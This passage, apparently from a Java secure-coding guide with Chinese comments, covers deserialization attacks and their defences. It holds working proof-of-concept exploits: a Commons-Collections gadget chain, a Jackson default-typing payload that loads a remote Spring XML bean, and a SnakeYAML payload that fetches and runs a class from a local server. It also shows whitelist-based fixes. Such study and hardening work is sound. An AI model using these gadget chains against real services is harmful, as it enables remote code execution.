public static void main(String[] args) throws Exception{
    // 构造利用链相关环的对象，最终目的达到命令行执行的效果（本例中弹出计算器应用）
    Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
            new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
            new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc"})};
    Transformer chanin5Obj = new ChainedTransformer(transformers);
    LazyMap chain4Obj = (LazyMap)LazyMap.decorate(new HashMap(), chanin5Obj);

    Constructor<?> constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
    constructor.setAccessible(true);
    InvocationHandler chain3Obj = (InvocationHandler) constructor.newInstance(SuppressWarnings.class, chain4Obj);
    Map chain2Obj = (Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), chain3Obj);
    InvocationHandler chain1Obj = (InvocationHandler) constructor.newInstance(Override.class, chain2Obj);

    // 使用jdk库函数将chain1Obj序列化到文件D:\hacker2中
    ObjectOutputStream objOut = new ObjectOutputStream(new FileOutputStream("D:\\hacker2"));
    objOut.writeObject(chain1Obj);

    // 使用jdk库函数将文件D:\hacker2内容反序列化为对象，反序列化漏洞触发任意命令行执行
    ObjectInputStream objIn = new ObjectInputStream(new FileInputStream("D:\\hacker2"));
    Object object = objIn.readObject();
}

public final class SecureObjectInputStream extends ObjectInputStream {
    public SecureObjectInputStream(InputStream in) throws IOException {
        super(in);
    }

    protected SecureObjectInputStream() throws IOException, SecurityException {
        super();
    }

    protected Class<?> resolveClass(ObjectStreamClass desc)
            throws IOException, ClassNotFoundException {
        if (!desc.getName().equals("com.huaweicloud.secure.serialize.jdk.Person")) { // 白名单校验
            throw new ClassNotFoundException(desc.getName() + " not find");
        }
        return super.resolveClass(desc);
    }
}

<dependency>
    <groupId>com.fasterxml.jackson.core</groupId>
    <artifactId>jackson-databind</artifactId>
    <version>2.7.0</version>
</dependency>
spring-context组件版本：4.3.29.RELEASE

<dependency>
    <groupId>org.springframework</groupId>
    <artifactId>spring-context</artifactId>
    <version>4.3.29.RELEASE</version>
</dependency>

hackerbean.xml

<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
 xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="hacker" class="java.lang.ProcessBuilder">
        <constructor-arg value="calc" />
        <property name="whatever" value="#{ hacker.start() }"/>
    </bean>
</beans>

staticServer.js

let express = require('express')
let app = express();
app.use(express.static(__dirname));
app.listen(3000)

public static void main(String[] args) throws Exception{
    String json = "[\"org.springframework.context.support.ClassPathXmlApplicationContext\", \"http://127.0.0.1:3000/hackerbean.xml\"]\n";
    ObjectMapper mapper = new ObjectMapper();
    mapper.enableDefaultTyping();
    Object obj = mapper.readValue(json, Object.class);
    System.out.println(obj);
}

 public static void main(String[] args) throws Exception{
        String json = "{\"context\": \"http://127.0.0.1:3000/hackerbean.xml\"}";
        ObjectMapper mapper = new ObjectMapper();
        Object obj = mapper.readValue(json, Person.class);
        System.out.println(obj);
    }

public class Person {
    private String name;
    private Integer age;
    private ClassPathXmlApplicationContext context;

    public String getName() {
        return name;
    }
    public void setName(String name) {
        this.name = name;
    }
    public Integer getAge() {
        return age;
    }
    public void setAge(Integer age) {
        this.age = age;
    }
    public ClassPathXmlApplicationContext getContext() {
        return context;
    }
    public void setContext(ClassPathXmlApplicationContext context) {
        this.context = context;
    }
}

PoCWin

public class PoCWin implements ScriptEngineFactory {
    static {
        try {
            System.out.println("Hacked by tianyi");
            Runtime.getRuntime().exec("calc.exe").waitFor();//执行计算器
        } catch (IOException | InterruptedException e) {
            e.printStackTrace();
        }
    }

    // 其它接口必须实现的方法
    ...
}

staticServer.js

let express = require('express')
let app = express();
app.use(express.static(__dirname));
app.listen(3000)

public static void main(String[] args) throws Exception{
    String poc = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://127.0.0.1:3000/\"]]]]";
    Yaml yaml = new Yaml();
    Object object = yaml.load(poc);
    System.out.println(object);
}

public static void main(String[] args) throws Exception{
    String poc = "[!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://127.0.0.1:3000/\"]]]]]";
    Yaml yaml = new Yaml();
    Object object = yaml.loadAs(poc, Person.class);
    System.out.println(object);
}

public class Person implements Serializable {
    private String name;
    private Integer age;

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public Integer getAge() {
        return age;
    }

    public void setAge(Integer age) {
        this.age = age;
    }

    public Person(String name) {
        System.out.println("init");
    }
}

public class SecureConstructor extends Constructor {
    public SecureConstructor() {
        super();
        yamlConstructors.put(null, undefinedConstructor);   // 修改逻辑为默认拒绝，即未在map中定义的类默认走undefinedConstructor的逻辑，抛异常
    }
    
    public void addTrustClass(String name) {    // 添加类的全路径名则会进入白名单
        yamlConstructors.put(new Tag(Tag.PREFIX + name), new SecureConstructObject());
    }
    protected class SecureConstructObject extends ConstructYamlObject {
        public SecureConstructObject() {
            super();
        }
    }
}

    public static void main(String[] args) throws Exception{
        String poc = "[!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://127.0.0.1:3000/\"]]]]]";
        SecureConstructor secureConstructor = new SecureConstructor();
        secureConstructor.addTrustClass("com.huaweicloud.secure.serialize.snakeyaml.Person");
        Yaml yaml = new Yaml(secureConstructor);
        Object object = yaml.loadAs(poc, Person.class);
        System.out.println(object);
    }